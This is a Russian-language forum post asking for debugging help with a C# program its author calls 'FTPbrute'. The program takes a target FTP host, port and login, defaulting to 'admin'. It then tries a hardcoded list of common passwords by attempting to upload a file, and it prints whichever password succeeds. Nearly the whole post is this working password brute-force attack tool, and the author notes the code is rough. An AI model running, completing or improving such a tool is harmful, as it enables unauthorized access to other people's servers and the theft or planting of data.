отказывается писать статус Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription); и не обрабатывает гуд почему не понимаю   
| Код |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Security.Permissions;
using System.IO;
namespace ConsoleApplication8
{
class Program
{
static void Main(string[] args)
{
string[] pass = { "pass1", "1234", "123456", "pass2", "pass3", "passwd", "qwerty", "dsdsadadaw" };
string v = "0.0.1.0";
string port;
string host;
string login;
Console.WriteLine("FTPbrute" + " v" + v);
Console.WriteLine("code by dj100500");
Console.Write("(bla.ru) host:");
host = Console.ReadLine();
if (host == "")
{
Console.Write("enter host:");
host = Console.ReadLine();
}
Console.Write("port:");
port = Console.ReadLine();
if (port == "")
{
port = "21";
}
Console.Write("login:");
login = Console.ReadLine();
if (login == "")
{
login = "admin";
}
Console.WriteLine("host:" + host + "port:" + "login:" + login);
for (var i = 0; i < pass.Length;i++ )
{
try
{
FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + ":" + port + "/test.txt");
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential(login, pass[i]);
StreamReader sourceStream = new StreamReader(@"D:\test.txt");
byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
sourceStream.Close();
request.ContentLength = fileContents.Length;
Stream requestStream = request.GetRequestStream();
requestStream.Write(fileContents, 0, fileContents.Length);
requestStream.Close();
FtpWebResponse response = (FtpWebResponse)request.GetResponse();
Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription);
if (response.StatusDescription == "226 FILE: test.txt transferred")
{
Console.WriteLine("ftp passwd = "+pass[i]);
break;
}
response.Close();
}
catch
{
Console.WriteLine(pass[i]);
}
}
Console.ReadKey();
}
}
}
|
Добавлено @ 18:14
сори код кривой немног но эт пока |
работыет
